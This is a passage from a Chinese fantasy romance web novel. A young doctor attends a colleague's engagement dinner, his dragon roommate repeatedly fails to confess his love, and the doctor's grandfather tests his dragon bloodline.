看着陶清观不掺一丝邪念的眼眸, 宴氿张了几次嘴没能发出声音。 他舌尖抵着上颚,跃动的眸光渐渐平静, “……没什么。” 陶清观奇怪地看了眼宴氿,在原地等了一会儿,见对方真的没有下文, 他试探着开口,“那、我走了。” 他转过身,残留在视网膜上的是宴氿垂着眼眸的身影。 说个话怎么支支吾吾的,多半有鬼。 陶清观回想最近发生过的事,都平平无奇, 完全找不到让人在意的点。 一直到医院,陶清观还在想这件事,宴氿前科太多, 他很难不把对方的异常, 归类到对方又想整什么幺蛾子。 想不明白,回去问问宴氿算了。 “……喂, 我跟你说话呢。” 陆满满叫了陶清观几声都没得到回应, 他忍不住用胳膊肘拱了陶清观一下,调侃道:“想什么想得这么入神, 不会是什么见不得人的东西吧。” “大白天的, 你思想好肮脏。”陶清观露出嫌弃的眼神,借着椅子下的滚轮滑远了些,“你不是要背题, 怎么有空找我闲聊了。” 陆满满啧啧摇头,“你真就一点没听我说的话。” 他直奔主题,凑到陶清观面前,认真道:“孙怡颜要订婚了。” 陶清观神色淡淡,“嗯,然后呢?” “什么然后,她之前一直追你,现在听到人家订婚你都没一点表示吗?”陆满满想按着陶清观的肩膀摇两下,但背陶清观躲过去。 他退而求次,一巴掌拍在桌面上,“她可是副院长的独生女,长得又好看,还倒追你,你一点都不心动?” 陶清观眼睛都不眨一下,“不心动。” 陆满满紧盯着陶清观,试图找出对方说谎的痕迹,但一点破绽都没找到,他恨铁不成钢地瞪了陶清观一眼,“榆木脑袋,你猜猜她和谁订婚了?给你个提示,是我们科的。” 陶清观不假思索地回答:“李玉鑫。” 陆满满诧异,“你提前知道消息了?” “我们科适龄的男性除了我,就你和李玉鑫。”陶清观对陆满满的智商表示怀疑,“这还用猜?” 陆满满卡壳,他哼了一声,又拍拍桌子,“李玉鑫最近可是春风得意,你不仅升职的机会被他抢了,现在女朋友也被对方捷足先登,你就这么甘心吗?” “我跟孙怡颜本来就没关系,她找谁当对象跟我就更没关系了。”陶清观不为所动,“倒是你,这么着急不会是对孙怡颜有意思吧。” “我才没有。” 陆满满翻了个白眼,他转回自己位置上,开口道:“他们肯定会邀请你,你等着瞧。” 陶清观:“哦。” 陆满满这张嘴确实准,中午陶清观就收到请帖,时间订在一星期后。 但今晚李玉鑫想邀请医院里的同事单独聚一场,特地给陶清观发消息,约陶清观晚上见面。 陶清观咬了口手里的烧饼,单手给李玉鑫回消息。 陆满满在一旁看热闹,“你也收到消息了吧,今晚怎么办哦~” 陶清观:“我去不了。” “你要临阵脱逃?”陆满满用筷子戳着碗里的饭,“这可不像你。” “没,我跟爷爷提前约好,下班后到他那去。”陶清观婉拒完李玉鑫,将手机熄屏推到一旁,他瞥向陆满满,挑眉道:“我怎么感觉你很想看我的热闹。” 陆满满扯了下唇角,嘿嘿两声,“是啊,我们陶大医生会如何应对桃色纠纷呢。” 陶清观无语,“就说这事跟我没关系。” 他又没当曹操的爱好。 但有些时候人不想惹麻烦,麻烦却会追上来。 下班时,陶清观换好衣服推开门,看到的就是李玉鑫那张大脸。 李玉鑫开门见山道:“今天我请客,陶医生给点面子。” “不是面子问题,我先和爷爷约好的。” 话音未落,手机铃声响起,陶清观看了眼屏幕,对李玉鑫道:“我爷爷催我了,祝你们玩的开心。” 陶清观不待李玉鑫回答,走到一旁接听电话,陶笠鹤的大嗓门从那边传来。 “小观啊,你明天早上再来,有样东西没处理好,要到明早才能用。” 陶清观嘴角抽搐,要不是陶笠鹤和李玉鑫不认识,他都要怀疑这两人是约好的,“你在搞什么,不是说好今晚的。” “我这不是第一次弄没经验。”陶笠鹤哈哈笑道:“正好你明天休息,时间充裕,明天再说。” 说完,陶笠鹤就把电话挂断。 陶清观看着黑屏的手机,眯起眼眸,他的暗杀名单上要多一个人了。 李玉鑫离得不远,将陶清观的话听得清清楚楚,他开口道:“天意如此,陶医生跟我们去吃饭吧。” “……好。” 医生下班的点差不多,除了个别手里有病人拖延的,其余人三三两两乘着往酒店走,李玉鑫很是大方,连打车费也一并请了,其他人想推辞都没推辞掉。 陶清观自然和陆满满一道走,他站在路边,低头敲着键盘。 陆满满调侃道:“在跟你爷爷抱怨?” “没。”陶清观按下发送键,开口道:“在跟舍友报备行程。” 陆满满八卦的雷达立即警觉,“只听过给对象报备,没听说过跟舍友报备的,陶小观你有问题。” 陶清观收起手机,“你想多了,我是怕他把门锁了,我晚上回不去。” 这当然是借口,他不回去宴氿不可能锁门,其实他是不想宴氿跟过来,上一次宴氿即使变小也要跟着他,他以为宴氿是不想放他吃独食,但现在…… 陶清观皱起眉心,今晚的场合不管宴氿以什么形态过来都有点冒昧,人家请客,他总不能带家属吃白饭,还是让宴氿自己点外卖凑合着吃吧。 口袋中的手机震动,陶清观拿出来解锁。 宴氿:聚餐在哪?结束的时候我去接你。 陶清观勾起唇角,回复道:不用,我开车回去。 屏幕那边的宴氿看着这一行字,指尖敲击手机边缘,唇角压得很低。 不放心。 陶清观有多受欢迎,他已经见识过,万一又有人蓄意勾引,虽然陶清观没那么容易上当,可如果对方使用不光彩的手段,陶清观不一定防得住。 宴氿眉心拧成一个川字,眼底的神色变来变去,他盯着墙上的挂钟,告诉自己。 要是八点半陶清观还没回来,他就出去找对方。 另一处,被记挂着的陶清观连打三个喷嚏,在他身旁的陆满满关心道: “感冒了?” “没,大概是有谁在念叨我。”陶清观用指节蹭了蹭鼻尖,问道:“在哪个厅吃饭?” 陆满满回答道:“我记得包厢的名字叫月季。” 李玉鑫订的这家酒店富丽堂皇,贵气逼人,一看就很上档次,但里面大得离谱,有服务人员带路,陶清观和陆满满才找到包厢前。 陆满满压着嗓子和陶清观说悄悄话,“这家酒店上边提供住宿,一晚上就要一千多。” 陶清观宛如无情的对答机器,“哦。” 陆满满撇嘴,觉得陶清观没趣,他推开门,包厢内已经有不少人在。 同事见面免不了寒暄,陶清观打了一圈招呼,挑了个边缘的位置坐下。 他本意是想讨个清净,可今天的女主角走到他的身边。 陶清观注意到孙怡颜,笑着说道:“恭喜你。” 孙怡颜表情复杂,她嗯了一声,不再看陶清观,回到李玉鑫身边,李玉鑫揽着孙怡颜的肩膀,抛给陶清观一个得意的眼神。 陶清观捧读:“恭喜恭喜。” 混顿大餐还不用花钱,陶清观看着一桌子菜,感觉李玉鑫顺眼不少,这种人傻钱多又大方的,他不介意夸上两句。 其他人忙着人情世故,陶清观专注干饭,来都来了,肯定得吃饱,陶清观给自己盛了碗佛跳墙,吃得津津有味。 而桌上已经喝起来,陶清观挡住递到面前的酒杯,开口道:“我就算了,等会我要开车回去。” “喝。”李玉鑫大手一挥,“醉了我帮你在楼上开房。” 陶清观无奈,“那就恭敬不如从命。” 他推辞不掉,陪着喝了半杯,陶清观酒量不错,这点量对他来说没什么影响,他放下酒杯想接着吃,谁知听到一声惊呼。 他抬眸看去,发现是孙怡颜的酒杯洒了,不仅沾到衣服上,连身前的头发都没能幸免。 李玉鑫帮孙怡颜擦拭,他见孙怡颜神情不悦,立即哄道:“我陪你去楼上房间收拾。” 有人跟着起哄,没什么恶意,也知道适可而止。 陆满满看着两人离开,啧了一声,他一手拿着了酒杯,一手搭上陶清观的肩膀,低声道:“有没有那么一点寂寞感。” “没有。” 陶清观想拉开陆满满的胳膊,可陆满满这家伙喝得有点多,被他推开时没掌握好平衡,直接向地上滚去,陶清观下意识将人拽住,结果人是拉住了,但陆满满杯子里的酒洒了。 他白色的衬衫上晕染开大片深的的印记,裤子也沾到几滴,陶清观木着脸把罪魁祸首拉开,无语道:“你就这么想我加入他们吗?” 陆满满自知理亏,他把酒杯扶正,讪讪道:“意外意外,要不你也去楼上开间房?” 陶清观:“算了,我去卫生间稍微处理一下。” 他起身走出包厢,寻找卫生间,但这层楼的卫生间恰好在清扫,陶清观正准备换层楼,一位身姿高挑的男性叫住他。 “如果是想清洗衣服上的污渍,可以去楼上的洗衣房。”男人长了双桃花眼,这种眼型看狗都含情脉脉,他笑着道:“我可以为你带路。” 陶清观礼貌回应,“谢谢,麻烦你了。” 他跟着男人上楼,此刻时间已走到八点四十。 70-80 第71章 第 71 章 修罗场.jpg 酒店前台。 “抱歉先生, 我们酒店需要提前预约。”前台小姐礼貌开口,她看了眼宴氿的脸,又看了看宴氿的穿着, 提醒道:“如果是和朋友有约, 告诉我哪个包厢,我可以帮你查一下。” 宴氿道:“好。” 他眉头紧锁, 看着聊天界面,他早就给陶清观发消息,可到现在也没个回信, 估计是没注意到。 但不知道为什么,他心底有种不妙的预感,宴氿视线移到屏幕下边语音通话的按钮上。 作为一个成熟的龙,要沉得住气,不能一点小事就耐不住性子打扰别人, 宴氿硬生生扯开目光,把手机一把揣进兜里。 宴氿脚下来回踱步,面上的神色越来越冷, 他薄唇绷着一条直线, 周身散发的气息让其他客人退避三舍。 前台小姐有些为难,“这位先生, 等人的话可以去那边的等候区。” “……好。” 宴氿一手插在口袋中, 压着眉尖重新拿出手机,看着空荡荡的聊天界面, 他拇指悬在半空, 短暂的停顿后,他摁下语音通话。 铃声响起,宴氿指尖下意识点着手机边缘。 一会儿是说碰巧路过, 还是说有事要来这附近,这个点陶清观多半吃完了,后边商场新开了一条卖周边的街,陶清观应该感兴趣,正好消消食。 宴氿脑子里定出一系列计划,铃声也播放到尾声—— 无人接听。 …… “抱歉,我手机落在包厢里了。” 陶清观要扫码才发现手机放外套里没拿,他对男人说道:“麻烦你陪我一趟,我去拿手机,你也回去休息吧,谢谢。” “没事。”男人举起自己的手机扫码,直接将钱付了,他冲陶清观笑笑,“几块钱,我请你。” 虽然没多少钱,可让第一次见面的人帮忙付款,陶清观心底过意不去,他说道:“我等会儿还给你。” 男人嘴角的笑容真实几分,“行,你联系方式多少,我先加你。” 陶清观闻言,余光扫过男人的面容,他停顿了一下,随即报出一串号码。 男人当着陶清观的面发送好友申请,体贴地说道:“我来吧,你第一次用大概不怎么顺手。” “不用,我稍微处理一下就行。” 陶清观解开衬衫纽扣,脱下衬衫,他里面还穿了一件,纯白的棉质背心上也沾了点酒渍,陶清观蹙眉。 陆满满真会给他找事做,深知红酒拖得越久越难洗,陶清观拿了颗洗衣凝珠到水池边清洗。 男人不知抱着什么心态,他没有离开,而是站在陶清观身旁,保持着一个安全的社交距离,他挑起话题,“这家酒店的佛跳墙不错,食材是空运来的,比较新鲜。” 佛跳墙,陶清观来之前刚吃过,他开口道:“味道确实不错,你要是有事可以先走,钱我不会忘的。” “我今晚挺闲的。”男人勾起唇角,“有人聊聊天总比在房间里睡觉强。” 陶清观在心底轻啧一声,是个麻烦。 就在这时,陶清观听见洗衣房外传来熟悉的声音,听着有点像宴氿,他凝神静听,发现不是好像,分明就是。 陶清观将衬衫被打湿的部分拧干,开口道:“我朋友好像来找我了,谢谢你,我先走了。” “我房间正好在电梯的方向,一起走吧。”男人跟上陶清观。 陶清观还能说什么,“好。” 他穿上半湿不干的衬衫,走到走廊,远远看见宴氿在和一个似乎是保洁的人说话。 “先生,请问你有什么事?” 保洁见宴氿一个人在房间门口站了好一会,既不敲门也不离开,她心底提起几分警惕,“是找不到自己的房间吗?” 宴氿看出保洁的警惕,他拿出饭卡,顺着对方的话说下去,“嗯,5102号房在哪个方向?” 他余光仍停留在面前的房门上。 里面传出过陶清观的名字,但是一个女人的声音,他确定自己没有听错。 是巧合吧,虽然契约显示陶清观在这个楼层,但对方怎么可能和女人共处一室,还是在酒店里。 好在意。 宴氿控制不住自己多看几眼,心底不断有声音否认,陶清观不会做出这种事,可人类电视剧不是经常演,下药,喝多走错房间之类,但那种不切实际的幻想不可能发生吧。 理智告诉他该走了,可脚下像生根一般挪动不了半分。 保洁见到宴氿手里的房卡,心底松了口气,她指着宴氿的身后,说道:“5102号在前面左拐就能看见。” 宴氿喉结滚动,生硬地扯了一下唇角,忽然耳边传来门锁开启的声音,宴氿瞳孔骤缩,向一旁望去。 “你怎么在这?” 陶清观的声音响起,宴氿身体一僵。 眼前是只见过一面的陶清观的同事,而熟悉的声音来自侧边,宴氿转过头,对上陶清观疑惑的目光,心底紧绷的弦松开。 “顺路过来找你。”宴氿的视线扫过,陶清观衬衫敞开,湿了大半,上面多出许多不明褶皱,旁边还站着个不知道从哪冒出来的男人。 宴氿扬起的唇角止在半途,高兴早了。 站在门口的孙怡颜挽着李玉鑫,她的视线在宴氿脸上多停留了几秒,问陶清观道:“你的朋友?” 在场所有人不约而同地看望向陶清观,陶清观沉默了一下,“……嗯。” 眼前这种离奇的组合究竟是怎么凑出来的。 男人轻笑,语气中带着亲昵,“我们也算是朋友了。” 陶清观眼皮子一跳,直觉事情不妙,他抬眸去看宴氿脸色,果不其然对方面皮子紧绷着,不难想象其下的咬牙切齿。 麻烦它妈给麻烦开门,麻烦到家了。 他偏过头,对上男人的笑颜,开口道:“洗衣费我等会转给你,再见。” 男人颔首,他向陶清观挥了下手,打开李玉鑫隔壁的房间,他冲陶清观眨了下眼,说道:“晚上要是无聊的话,可以来找我。” 大可不必。 陶清观不用看都能想象到宴氿现在的脸色,他在心底叹了口气,朝宴氿伸出手,“外套给我。” 宴氿愣怔,下意识抚上胸前的纽扣。 陶清观见宴氿没反应,又补上一句,“我衬衫脏了。” 宴氿眸光微闪,唇角勾起一个弧度,阴沉的脸色霎时间放晴,他脱下外套披在陶清观肩膀上,细心地整理衣领。 黑色的风衣衬得陶清观越发白皙,风衣对陶清观来说有点长,宴氿穿勉强能盖过大腿,放到他身上已经没过膝盖。 他套好衣袖,不着痕迹地皱眉。 有点热。 李玉鑫这个直男脱口而出,“你不是带外套……诶哟。” 孙怡颜拱了李玉鑫一下,她的视线掠过宴氿和陶清观二人,心底舒服了点,原来她是输在性别上。 她挽住李玉鑫的胳膊,催促道:“回去了。” 李玉鑫一头雾水,跟着孙怡颜离开。 保洁不知什么时候走了,走廊内剩下陶清观三人。 男人推着门,一脚踩进门内,他面上的笑容消失,但随即又噗嗤一声,“抱歉,我不知道你有伴了。” 宴氿揽住陶清观的肩膀,陶清观没吱声,但也没阻止宴氿的动作。 “打扰了。”男人走进屋内,在关上门前,他话锋一转,“如果分手,随时欢迎你来找我,你长得真的很对我胃口。” 不待宴氿发难,男人反手将门关上。 宴氿眉尖下压,说什么分手,不吉利,更何况…… 他偏过头看着陶清观的侧颜,目光游弋。 刚刚是默认的意思么,宴氿心跳陡然漏了一拍,他眸色深处暗了下来,或许现在是个好机会。 宴氿侧过身,“我们……” “你快点。”李玉鑫的大嗓门出现在楼梯口,精准地堵住宴氿后半句话,“他们都喝得差不多了。” 宴氿垂在身侧的手攥成拳,额角青筋突起,又双叒叕有不相干的人冒出来,他想表个白就那么难吗!? 陶清观忍俊不禁,他抬起手落在宴氿脑袋上,轻轻揉了两下,“在酒店门口等我,我去拿个东西就跟你走。” 宴氿:“……好。” 陶清观走回包厢。 陆满满喝得有点多了,但神志还算清醒,他上下打量陶清观,问道:“你怎么去那么久,这身衣服又从哪冒出来的?” 陶清观拎起自己的外套,开口道:“我舍友来接我了,你们慢慢喝。” 陆满满感觉不对,但沾染过酒精的大脑没法快速运转,他扯住陶清观衣摆,压低声音问道:“你老实跟我说,是舍友还是同居对象。” 陶清观挑眉,“有什么区别吗?” 陆满满一副你这都不知道的样子,说道:“明显第二个暧昧。” 陶清观眼底浮现笑意,扔下一句模棱两可的话。 “谁知道呢。” 他背着身向陆满满摆了摆手,大步离开包厢。 秋天的夜晚微凉,走出酒店,陶清观深吸一口气缓缓吐出,他歪头看向宴氿,问道:“吃过晚饭了吗?” “没有。”宴氿走到陶清观身前,为对方拢了拢衣领,他俯下身,凑到陶清观颈脖边鼻尖耸动,“你喝酒了。” 陶清观被宴氿蹭得有点痒,他缩了缩脖子,开口道:“嗯,喝了一点。” 宴氿舔了下干涩的唇瓣,心底的痒意如蛛网蔓延,陶清观‘喝醉’的模样他记忆犹新,之前是带着无奈地照顾,而现在多了些许自私的心绪。 他后悔了,生在福中不知福,现在想亲都亲不到。 宴氿抿起唇,他接过陶清观手中的外套,转过身,“回去了。” 陶清观拉住宴氿的小臂,开口道:“前面有条街,吃完饭再回去。” 第72章 第 72 章 宴氿:挺甜的。 “好。” 宴氿有片刻停顿, 他瞥向陶清观拉着自己小臂的手,手指微微蜷缩,他将视线移到一旁, 心神却仍停留在原地。 不松开吗? 陶清观一向不怎么粘人, 刚认识那会和他牵手都有些抗拒,更别说像现在主动拉着自己, 虽然拉的只是胳膊。 宴氿小臂肌肉绷紧,好在有一层衣服隔着,陶清观应该感觉不出来, 他控制着自己放松下来,可薄薄一层薄料隔绝不了陶清观掌心的温度。 他以前是怎么和陶清观相处来着,现在给出什么样的反应才算正常,喝酒的是陶清观,可宴氿感觉自己现在也微醺了。 宴氿抿起唇, 他抽出手臂,又在下一刻握住陶清观的手,修长的手指恰好能将那只手包裹, 指腹划过陶清观的掌心, 最后没入指缝中扣紧。 陶清观脚步一顿,他抬眸望向宴氿, 看见一张下颌线绷紧的侧颜, 他唇瓣抿动,话语在口中颠来覆去, 却什么都没说。 算了, 这样也不错。 陶清观默许了宴氿的小动作,他往旁边走了一步,肩膀与宴氿相撞, 问道:“你想吃什么?” 宴氿被撞,身体晃都没晃,他也不往旁边让,维持着和陶清观贴在一起的距离,“都行,挑你喜欢的。” “我吃过晚饭了,你挑自己喜欢吃的。”陶清观提醒道,迟来的酒劲发挥作用,身体暖洋洋的,但半湿不干的衬衫夹在里面有些难受,他蹙起眉头。 该在酒店把衬衫脱下来的。 宴氿注意到陶清观的异常,想起对方的衬衫湿着,他指尖微动,附着在衬衫上的水被剥离,化为气体消散无踪。 衬衫一秒变干,陶清观下意识看向宴氿,对上宴氿含笑的眼眸,陶清观扬起唇角,开口问道:“好方便,怎么做到的?” “跟凝冰差不多。”宴氿说道:“感兴趣,我回去可以教你。” 陶清观嘴角噙着笑意,他偏过身子,挡在宴氿身前,调侃道:“怎么教?” “我给你示范。”宴氿开始没反应过来,在陶清观笑盈盈的目光下他逐渐回过味来,是他想多了,还是…… 宴氿眸色渐暗,“我也可以手把手教你。” 他加重咬字,‘手把手’三个字显得意味深长。 陶清观扬眉,似是没听懂,“都行。” 说话间,他们走到美食街前,陶清观岔开话题,问道:“找家店,还是吃小食?” “在外面逛逛。”宴氿唇角下压,陶清观的回答如隔靴搔痒,让他更加纠结,他暗暗用余光望着陶清观,对方唇角挽着一抹弧度,似乎心情不错。 这小鬼,不会是在涮着他玩吧。 宴氿眼眸眯起,他虽然喜欢陶清观,带着点滤镜在,但也说不出对方性格乖巧之类的话,毕竟让他牙痒痒的事,陶囡囡也没少做。 他捏了下陶清观的手,神色若有所思。 市中心的美食街到了夜晚依旧灯火通明,宴氿手里拿着刚出炉的手抓饼,和陶清观站在卖炸串的摊位前。 陶清观瞄向宴氿手里的饼,问道:“你现在不吃吗?” 宴氿道:“回去吃。” “小吃的精髓就是边走边吃,等回去就凉了。”陶清观下巴往一旁扬了扬,“你看,大家都这么吃的。” 来往的行人手里或拿着烤串,或拿着纸碗,有的一边吃,还一边蹭朋友手里的吃食。 宴氿束着长发,穿着高档服装,站在人群中显得有几分格格不入,他拿起手抓饼,停顿了几秒,在陶清观的目光下解开塑料袋,咬了一口。 陶清观看着宴氿不习惯的样子,嗤嗤笑着,还记得他第一次见到宴氿,仙气飘飘,不占凡尘,现在是跟着他越走越歪。 他拍了下宴氿的肩膀,说道:“不错,你已经能出师了。” 宴氿瞥向偷乐的陶清观,不禁莞尔。 “好了,这是你的。”摊主将打包好的炸串递给陶清观,又从旁边的盒子里拿了两颗糖,说道:“我女儿结婚,给你们沾沾喜气。” 陶清观一并收下,礼貌回答道:“谢谢。” 他拎着炸串跟宴氿继续往前走,刚出锅的炸串有点烫,反正不怎么饿,陶清观准备先晾一会。 陶清观捏着手里的糖,是个杂牌子,没吃过,他撕开包装纸,扔进嘴里。 劣质的糖精味在口腔中蔓延,其中还夹杂着些许苦味,关键这糖还是柠檬口味,酸甜苦汇聚在一起,陶清观那点酒意都被惊醒了。 他面上不动声色,把另一颗糖递到宴氿面前,睁着眼睛胡说道:“味道不错,你尝尝。” 宴氿刚把装手抓饼的袋子扔掉,回头就接到一颗糖,他指腹划过糖纸边缘,目光在陶清观脸上游弋。 陶清观一副乖巧无害的模样,也不催促宴氿吃下手中的糖果。 宴氿捏住包装袋的一角,似要撕开糖纸,但下一刻,他倏然俯身,贴上那两瓣柔软的唇。 牙关被舌尖撬开,陶清观瞪大眼睛,嘴里的糖果被卷走,他惊得后退一大步。 宴氿直起身,舔了下上唇,眉心微蹙,“果然很难吃。” 陶清观唇瓣微张,愣愣地望着宴氿,脸颊飘上两团绯色,捉弄不成反被捉弄,他撇过头,嘟囔着:“活该。” 宴氿眼底的笑意晕染开,他上前一步,附在陶清观耳畔,压低声音说道:“好像也没那么难吃。” 话语中缠绕着暧昧和旖旎,未尽之意,两人心知肚明。 陶清观眸光闪烁,他回过头,视线与宴氿交汇在一起,气氛烘托到位。 宴氿心脏鼓动,“你说过不想我把你当做小孩,我现在也确实没办法再把你当做孩子,我对你……” “大哥哥要买束花吗?” 稚嫩的童声插进来,宴氿一低头,就看见一六七岁的小女孩,扎着两羊角辫,手里提这个篮子,仰头望着自己。 小女孩眼睛圆溜溜的,手里举着一束包好的玫瑰花,“五块钱一束。” 宴氿:“……” 这是第四次,还是第五次了,为什么每当他要表白心意时,全世界都吻上来了,就差一句话,让他说完很难吗? 陶清观好想笑,但他憋住了,再笑宴氿要哄不好了,哈哈哈哈哈哈哈哈。 精彩,实在是太精彩了,怎么能巧合到这种地步。 宴氿黑着脸,想拒绝小女孩,陶清观先一步开口,“拿一束。” 陶清观拿出手机扫码,将付款界面给小女孩看后,他结果对方手中的那支玫瑰花。 小女孩朝陶清观挥挥手,跑向不远处看着这里的女人,对方大概是她的妈妈,女人饱含歉意地点了下头,大概是发现自己的孩子打搅到他们。 陶清观笑了笑,倒也没觉得生气,他把玩着手中的玫瑰花,视线偏向旁边神色不虞的宴氿。 “给你。”陶清观将玫瑰花送到宴氿面前。 谁告白都一样,虽然有那么一点害羞,但也不是说不出口,陶清观给自己做心理建设,待宴氿接过玫瑰花,他张开唇瓣想要开口。 可下一秒他看清宴氿的眼神,里面没有告白失败的挫折,全是对下一次告白的斗志。 陶清观瞬间说不出口了,嗯……好像他抢先手的话,对宴氿影响更大,对方已经和这事较上劲了。 他啼笑皆非,到嘴边的话转了一圈变成,“回去吗,还是再买点其他吃的?” “回去。”宴氿唇角绷直。 下一次,他一定要找个没人打扰的地方,好好讲话说出来,得先把手机扔了,再把不相关的人全部支开。 支开还有点不保险,都关起来更靠谱点,或者全刀了吧,宴氿周身飘着黑气,隐隐有黑化的趋势。 陶清观大概能猜到宴氿在想什么,他没忍住,笑出了声。 宴氿问道:“你笑什么?” “没什么,就是觉得今晚玩得挺开心的。” “那下次再来。” “行,你不把嘴里的糖吐了吗?别逞强。” “其实味道还行。” “你口味有点独特。” “……” …… “你一大早把我们叫来,最好是重要的事。” 陶清观倒反天罡,坐在陶笠鹤的专属转椅上,他靠着真皮后背,跟大爷似的,手里端着保温杯。 而陶笠鹤坐在办公室里沙发上,旁边还坐着个宴氿,两人气势上就矮陶清观一大截。 龙王都没说什么,陶笠鹤默默把话咽回去,他清了下嗓子,开口道:“之前龙王跟我说过你身上长鳞片,我翻找祖上传下来的书,发现一种可能。” “你可能是返祖。” 陶清观一秒坐正,duang的一下将保温杯放在桌面上,“返祖?我有祖宗不是人?” “什么话。”陶笠鹤瞪了陶清观一眼,“你曾曾曾曾曾曾祖母是条龙,不然你以为为什么我们家代代都有天赋。” 陶清观嘴角抽搐,默默数了下有几个曾,这关系扯得真远,他目光转向宴氿,冷不丁地问道:“所以我跟宴氿是亲戚?” 宴氿听到这话,差点被手里的茶呛到,他连忙撇清关系,“我不认识你的祖先,我和她除了是同一物种,没有任何关系。” 陶清观注意力跑偏,“所以龙和人还能有后代?” 宴氿回答道:“母龙可以,但公龙不行,人类的□□不足以养育龙族,在孕期就会死亡,而且这件事本身概率就很小。” “没错。”陶笠鹤接过话头,“你曾曾曾曾曾曾祖母能生下你曾曾……” “够了够了。”陶清观打断陶笠鹤,“说重点。” 陶笠鹤啧了一声,开口道:“到我这一代龙族血脉已经很微弱,你父亲他们更是几乎没有,而你的症状和返祖相似,所以我按照祖方找齐东西,来测试你血脉的含量。” 第73章 第 73 章 陶清观:多少带点私人恩…… 这种觉醒特殊血脉, 一跃而成龙傲天的剧情终于要发生在他身上了? 陶清观摸了摸下巴,当了这么多年人,突然换个种族还有点不习惯, 不知道他有没有机会变成龙形态, 宴氿那条大白龙的样子他眼馋很久了。 心怀期待,陶清观照着陶笠鹤所说, 把手放在布置好的阵法中,幽蓝色的光芒闪动,将他和陶笠鹤的脸照得蓝汪汪的。 时间流逝, 光芒渐渐熄灭,陶清观迫不及待地问道:“怎么样?” 陶笠鹤若有所思,回答道:“确实有增长,达到了百分之九。” 听到前半段陶清观兴致勃勃,九这个数字一出来, 他立即变脸,连十分之一都没有,他的评价是, 有用但不多。 陶笠鹤注意到陶清观嫌弃的表情, 抬手敲了下对方的脑袋,开口道:“已经可以了, 我不过达到百分之六, 而且你小时候我帮你测过,那时候只有百分之三。” “怎么都是个位数。”陶清观揉着被敲的地方, 嘴里嘟囔着, “那我的还能长吗?” “这得问你自己。”陶笠鹤上下扫视陶清观,问道:“回想一下,你最近有做什么特别的事。” 特别…… 陶清观敛下眼眸沉思, 最近发生的事是不少,但若说和龙相关,也就那么一件。 “我吃了不少龙鳞。” 此话一出,陶笠鹤瞳孔一震,他下意识去看宴氿的反应,心底咯噔一声,他是知道苏小钱兄弟两给过陶清观龙鳞,虽然吃就吃了,但这事不能当着龙王面说啊。 前几个偷龙鳞的家伙现在还在医院躺着,落宴氿手里的逃犯可没一个好下场。 宴氿看出陶笠鹤神色不对,他略微思索,猜到对方所想,开口道:“龙鳞是我的,我给他的。” “啊……这样啊。”陶笠鹤干笑两声,没好气地甩了个眼刀给陶清观。 臭小子,说话也不说清楚点。 陶清观一脸无辜,并从背包里掏出几块龙鳞碎片,他瞥了眼宴氿,见对方没有反对,他将龙鳞碎片递到陶笠鹤跟前,“你也试试?” 莹白的龙鳞闪烁着光泽,即使不碰,陶笠鹤也能感觉到其中充沛的灵,他拿起一块碎片,放在唇边咬下,龙鳞瞬间碎裂。 陶笠鹤不是陶清观那个小白,他深知龙鳞的坚硬,手上这块龙鳞估计是宴氿特殊处理过。 一条龙不仅拔下龙鳞给人类,还担心对方吃不了,把龙鳞碎成好几块,生怕对方磕到牙,又特地加工,这事怎么听着这么玄幻。 陶笠鹤扫了眼毫不知情的陶清观,一时间不知道说什么才好。 “你感觉怎么样?”陶清观没发现陶笠鹤心底的复杂,只想快点知道答案。 陶笠鹤不急不忙,仔细分辨体内属于龙鳞那份灵的走向,能让陶清观泪流不止的灵,对他来说只是体内的灵有一瞬间暴涨,很快又恢复平静。 他眉心蹙起,摇了摇头,“没用。” “是不是吃的不够?”除此之外,陶清观实在想不出还有什么特别的事,他睨向宴氿,露出磨刀霍霍向猪羊的目光,“再来点试试。” 宴氿还没说话,陶笠鹤先敲在陶清观脑袋上,“别瞎折腾,和这个没关系。” 脑袋又受‘重创’,陶清观哎呦了一声,他转身扑进宴氿怀中,从侧面抱着宴氿,半个身子躲在宴氿身后,眼神幽幽地盯着陶笠鹤。 “暴力是解决不了问题的,你不能一言不合就动手。” 被当做挡箭牌,宴氿没有丁点不满,他抬手揉了下陶清观的脑袋,袒护道:“合理猜测而已,试试也无妨。” “就是就是。” 陶笠鹤心底狐疑,视线在宴氿和陶清观身上来回不定,早知道这两人关系好,但没想到会好到这种地步。 他的目光在陶清观脸上停顿了一会儿,看来得找时间问问这小子究竟是怎么回事。 “不用再试,若是这个方法有效,被抓的那人身上应该早就体现出来。”陶笠鹤回想先前拿到的报告,面上的神情逐渐严肃。 “他体内属于蛟龙那一部分的存在很突兀,像强行缝合上去一样。”陶笠鹤眼底闪过一丝讽刺的色彩,“想要不属于自己的东西,最终不整出个四不像。” 陶清观闻言,摸了摸自己颈后,光滑的肌肤上找不到一丝鳞片的踪迹,四不像啊…… 龙身上的部位都挺帅的,只要不是人头龙身,好像都能接受,当然要是能幻化出一个龙爪之类的就更好了。 陶清观歪着脑袋思考,嘿嘿笑出声,真是他想的那样的话也不是不可以。 陶笠鹤凭着和陶清观多年的祖孙情,不用猜也知道陶清观肯定又在想些奇怪的东西,他有点手痒,但碍于和陶清观之间隔着一个宴氿,他搓搓手还是忍住了。 顺手将布置阵法用的东西拆了,陶笠鹤对陶清观道:“既然确定你身上的异常是由血脉提升引起,那也没什么好担心的,该干嘛干嘛吧。” 陶清观探出脑袋,“你不该想办法弄清楚我提升的原因,然后借此发光发亮,做大做强吗?” “随便你。”陶笠鹤老脸淡定,对陶清观的话提不起半点兴趣,“你要是研究出来,方法记得给我一份。” 陶清观嘁了一声,他神色不着调,目光却不着痕迹地扫过陶笠鹤的脸庞,对方带着皱纹的脸上找不到说谎的痕迹。 他心底欣慰,他就知道他爷爷虽然为人不靠谱了亿点,但在这种原则上的问题还是有底线的,从那些逃犯的手段就能看出,想找到方法少不了霍霍宴氿,并且还不一定能成功。 这种一看就是反派的活,他可不能让爷爷走上歧途。 陶清观想拍一下陶笠鹤的肩膀表示认同,刚抬起胳膊,手里就被塞了一沓纸,他一愣,“这什么东西。” “一个老朋友拜托我的,我最近没时间,你去看看。”陶笠鹤冲陶清观摆摆手,“报酬我双倍给你。” 陶清观瞅了陶笠鹤两眼,直觉不是什么好事,他把纸摆正,从中掉出一个像信封的东西,他弯腰将东西捡起来,发现是个邀请函。 “三日之后,兰爵庄园……什么鬼?”陶清观把邀请函翻来覆去看了一遍,上边就写着时间地点,要干什么一概没写。 